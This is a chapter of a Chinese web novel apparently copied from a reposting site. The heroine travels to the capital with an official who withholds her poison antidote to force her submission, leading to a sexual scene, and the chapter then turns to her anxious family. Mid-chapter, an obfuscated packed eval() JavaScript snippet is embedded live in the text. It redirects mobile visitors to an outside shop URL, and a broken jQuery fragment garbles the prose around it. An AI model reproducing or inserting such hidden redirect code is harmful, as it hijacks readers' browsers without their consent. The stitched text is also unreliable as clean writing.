文趣网 > 其他小说 > 磕CP时无意攻略疯批阴湿男二 > 28. 一夜夫妻百夜恩
    嵇令姜见自己的弟子赶过来,还颇为意外,走过去抚了抚他的脑袋。

    “你这消息还挺灵通的,我正有事跟你商量。”

    冯宝儿恭敬施礼道:“先生请讲。”

    自打她带冯宝儿念书之后,冯宝儿就是一副小古板的姿态。

    “你做为为师的首任大弟子,你要不要随我去京城。”这一份offer砸下来,冯宝儿有些懵圈。

    京城是什么地方,是他们这群黔首做梦都不敢想的地方。

    冯宝儿在如何早慧,也不过是八岁孩童。

    “我要跟我娘商量。”

    嵇令姜摸摸冯宝儿的头道:“那你快去找你娘问问,1个时辰之后我们在小石村门口会合。”

    嵇令姜担心冯宝儿不去京城还劝道:“京城无论是教育资源还是各方面远远将其他地区甩开,你可以结识更多新朋友。”

    送走冯宝儿之后,她又跟里正辞行,里正早就知道她不会在此久留,心里早就有预期。

    但还是在心底感念她这段时间对小石村小朋友教育的付出,嵇令姜跟里正交涉了今后会有严回接任后续教学,依旧不会收取费用。

    她回京城之后,也会给小石村的小朋友送学习所需的书籍,若是小石村里头有人能走科举之路,她也愿意进行资助。

    里正大喜,若是愿意有人出这笔费用,对本就不富裕的小石村是一大喜事。

    里正也旁敲侧击的打听过嵇令姜的身家背景,隐约知道是京城来的,一个女子都有不输男子的见地,可见家里定然不缺银钱,一般人家供家里男丁读书都非易事,他们家还愿意供女儿读书。

    家里定然是非富即贵,他们小石村定然好好抱紧她这条大腿。

    嵇令姜回自己在小石村的屋子,其实她没什么需要收拾的,很多东西都是在雄关置办的,拿回京城也用不着。

    她归置之后,送给小石村条件不算好的妇人。

    她组建的读书角,散尽家财买的书,她也免费对所有小朋友开放。

    钥匙的话他就交给隔壁张伏虎的妻子孙氏,麻烦她平日给小朋友开门关门。

    嵇令姜讨厌别离的场景,她拒绝孙氏想要邀上钱氏和杜娘子一道给她践行,她悄悄地离开小石村即可。

    小石村外停着一辆低调的马车,里面露出一张精致且不耐烦的脸。

    “嵇令姜你还能在磨蹭一点吗?”

    这人要是不会说话就别说话,嵇令姜捏紧包袱,压下将包袱丢他脸上的冲动。

    霍时渊见嵇令姜不动弹,冷声道:“难不成还要我来请你不成?”

    嵇令姜也冷着脸道:“不敢。”自己三两下爬上马车,她还未坐稳,霍时渊便示意他的手下驾车。

    嵇令姜一个没站稳,膝盖直接磕在桌角,她顾不得疼痛,赶忙拦住他,“能不能在等一会,我徒弟冯宝儿还没来呢?”

    霍时渊放下手中的笔,似笑非笑道:“我什么时候允许你带旁的人了?你当我这里是商队?什么阿猫阿狗都带。”

    憋了一肚子气的嵇令姜也火了,“我要单独留下来一段时间你不同意,我多带几个人你也不同意。既然咱俩处不到一块,索性分道扬镳的好。”

    说完嵇令姜就要下车,他以为他是谁,对自己管东管西,她爹都没这么管过她。

    霍时渊拽着她的手腕,直接将她扯过来,嵇令姜的脸颊贴着他的大腿外侧。

    嵇令姜觉得太过暧昧,想要拉开距离,霍时渊抬起她的下巴逡巡片刻,骤然笑道:“嵇小姐你是不是忘了,你这个月没吃压制体内毒性的解药,我手头刚好没了,紧赶慢赶赶回京城,从监察司将药给续上,自可保你安全无虞。”

    他的手指骤然收紧,“既然嵇小姐自己找死,那本座也不阻拦。”

    自己的小命可不能开玩笑,嵇令姜什么小性都没了,死死抱住霍时渊的大腿,“是我错了,我错了,我再也不说分开行动,您能把解药给我吗?”

    霍时渊端的笑得灿烂,说出来的话可是冰冷至极,“现在后悔晚了呀!其实我不妨告诉你,原先我手里是有解药,但是你不听话,我一股脑全丢了。后面我想着本座到底是男子,不能跟小娘子一般见识,想着早些回京,跟你把解药续上。”他伸手拍了拍她微凉的脸蛋,“但某人执意找死,我也不妨成全,毕竟你不是说你不是自愿跟在本座身边吗?”

    霍时渊立马叫人把马车停下。嵇令姜惊恐的朝外看去,毕竟人终归是贪生怕死。

    “嵇小姐既然想分道扬镳,那便请吧。”

    嵇令姜的指骨死死捏住霍时渊的袖子,不住摇头,颤颤巍巍道:“我没有想跟你分道扬镳,之前是我使小性子,我错了,我给您道歉。”

    “道歉就不必了,本座也不是什么好心之人,什么阿猫阿狗都愿意搭救。”霍时渊一点一点从她手中将袖子扯开。

    嵇令姜一把搂住霍时渊的腰身,脸颊贴死死贴在他的腰腹。

    霍时渊隔着衣衫都感受到她的眼泪,一瞬间他烦躁的情绪达到顶峰。

    他都准备叫人,把她扯开。

    只听见嵇令姜开口道:“你对我而言不是别人,你也不是搭救阿猫阿狗。”

    总算说了一句他爱听的话,轻哼一声示意她继续,他顺手抚摸她黑如青缎的长发。

    嵇令姜难以启齿的继续道:“一夜夫妻百夜恩,郎君对令姜而言自然与旁人不同。令姜也希望郎君对妾与旁人不同。”

    嵇令姜第一次对男人说出近乎表白的话,果然男人在未推开她,甚至还让她坐在他怀中。

    嗓音微哑,带着他自己都不曾留意的狎昵道:“如何不同?”

    他的指腹带着薄茧,嵇令姜主动将脸颊贴在他手掌。

    “娘子,这一点不够。”

    嵇令姜带着他的手抚上她的脖颈。

    “还是不够。”

    嵇令姜垂眸,贝齿轻咬嘴唇。带着他的手从领口探·入,手握一抹软·雪。

    他本就因她而解禁,从那之后许久都不曾跟她亲近,甫的一接触,他便有些把持不住。

    嵇令姜眉头微微蹙起,有些痛苦道:“你轻一点。”

    霍时渊垂眸微微松开手,但始终不愿放开。

    他气息微乱,对上嵇令姜微张的嘴唇,俯身不管不顾的吻上。

    他是男人,他也有男人的劣根性。夜深人静的时候也会想女人,尤其是他曾触碰过,占有过。

    食髓知味,欲罢不能。

    “嵇先生,我和我娘决定跟您一块去京城!”冯宝儿看见离小石村不远的地方有一辆马车停在路旁,还有一支队伍进行护送。

    嵇令姜才如梦初醒,赶忙去推霍时渊。

    午时清梦被扰,霍时渊非常不满,依旧埋在她心口,狠狠咬了一口樱桃。

    嵇令姜闷哼,死死不让自己的声音泄露半分

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765145|208185||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    她的衣衫早就跌落在马车,身上只有肚·兜摇摇欲坠。

    束发的簪子也跌落在地,嵇令姜第一时间去捞自己的衣衫,颤着手去束发。

    霍时渊看着她此刻娇艳欲滴的模样,哪里肯她出去见人。轻扣车壁,招来一位手下,让他去安顿冯宝儿。

    随后又吩咐他们启程。

    嵇令姜松了口气,看来自己这一关是过了。

    肩膀一塌,还未系好腰带的衣衫顺势滑落,又露出半边肩膀。

    霍时渊的火气本就没下去,看到女人香肩半露的场景,他半点都忍不了,反身又将她搂在怀中。

    但嵇令姜早就从情·欲的漩涡苏醒,说什么也不肯在马车继续。

    霍时渊正在不上不下的关口,他强势的带着她的手往下。

    嵇令姜感觉自己捏住一只花栗鼠,她很不喜欢老鼠,哪怕是现在安静躺在自己手心的宠物鼠。

    但霍时渊非不让她松开,她只能一点一点给花栗鼠顺毛,逗它开心。

    等它开心,它就不会缠着自己。

    只是霍时渊给她找的是什么破老鼠,怎么总缠着自己,她都耐心陪它玩1个时辰了,终于在她耐心耗尽的前一秒,圆润滚回家。

    嵇令姜手酸的不行,霍时渊掏出帕子,一点一点将她的手指擦干净。

    马车晃晃悠悠,嵇令姜半躺在霍时渊怀里,迷迷糊糊想睡觉。

    自己和霍时渊的关系看来彻底理不清,嵇令姜生出摆烂的心思,索性不去想。

    等回了京城,拿了解药自己跟他一拍两散。

    嵇令姜还憧憬着回去把自己在外收徒的事跟父亲提一嘴,让父亲帮忙掌眼。想来自己不见的消息传回京城,小姨和父亲应当是急坏了。

    京城嵇府最近都乱套了。

    嵇夫人自从得知令姜被人掳走的消息便卧床不起,每次嵇春苇来看她,她就把他打出去。

    最近这两个月,嵇夫人和嵇大人三天两头吵架,嵇夫人埋怨嵇大人对令姜太过严苛,不然令姜何至于去外祖家竟然被贼人掳走。呜呜呜,我姐姐就这么个唯一血脉,现在还不知所踪。

    嵇大人听闻自家闺女被掳走,又气又急,“还不是成日你惯着,整日在家要风得风,要雨得雨。以为外头跟家里一样,现在好了,现在不知所踪。这就是无知的代价!”

    嵇夫人放声大哭,家里的瓷器不知道碎了多少只。

    就连嵇夫人身边的大丫鬟小婵最近都开始念佛,“求神佛保佑,大小姐千万别出事才好。”

    整个嵇府愁云笼罩,但考虑到令姜的声誉,他们也不敢大张旗鼓的去找,令姜毕竟到了议亲的年纪。

    嵇春苇刚开始还恨恨的想,等找到嵇令姜,看自己不打断她的腿,让她任性,让她乱跑。

    但随着时间的推移,他便只剩下担心。

    他就这么一个女儿,还是自己亲手带大的,他带着小小的令姜躲在国子监。

    令姜特别乖,也不哭也不闹,睁着黑亮亮的眼睛看着你,那时候心都化了,并且她还是嵇家最有读书天赋的孩子。

    现在嵇春苇一下值,回来就跟嵇夫人抱头痛哭。

    “当时我不骂她就好了,呜呜呜……都是我的错!”

    “以前我管她严一点就好了,我怎么对得起我的姐姐!呜呜呜……都是我的错!”

    嵇令姜都不相信时隔半年,她终于重回京城。